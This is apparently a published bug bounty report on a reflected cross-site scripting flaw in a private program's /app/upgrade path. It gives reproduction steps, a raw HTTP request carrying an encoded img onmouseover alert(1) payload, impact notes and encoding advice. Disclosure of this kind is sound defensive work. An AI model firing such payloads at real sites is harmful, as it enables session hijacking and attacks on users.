Reflected Cross Site Scripting

  • Reported to Private
  • Reported by Haqtify
  • Medium (4.2)
  • $200
  • Published 1 year ago
  • No Likes



CrossSite Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.



Steps To Reproduce:

1. Goto this URL.

2.Intercept the request and insert XSS Payload after URL.


GET /app/upgrade//yy%f6<img%20src%3dx%20onmouseover%3d”alert(1)”%20//%f6> HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

3. XSS Executed.





Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.


Developers should implement robust input validation and output encoding consistently across the application to defend against XSS and other input validation attacks. All of this input \ output mechanism recommended to implement: encoding \ escaping \ ‘black list’ \ filtering all special characters, e.g.: <, >, ‘, “, etc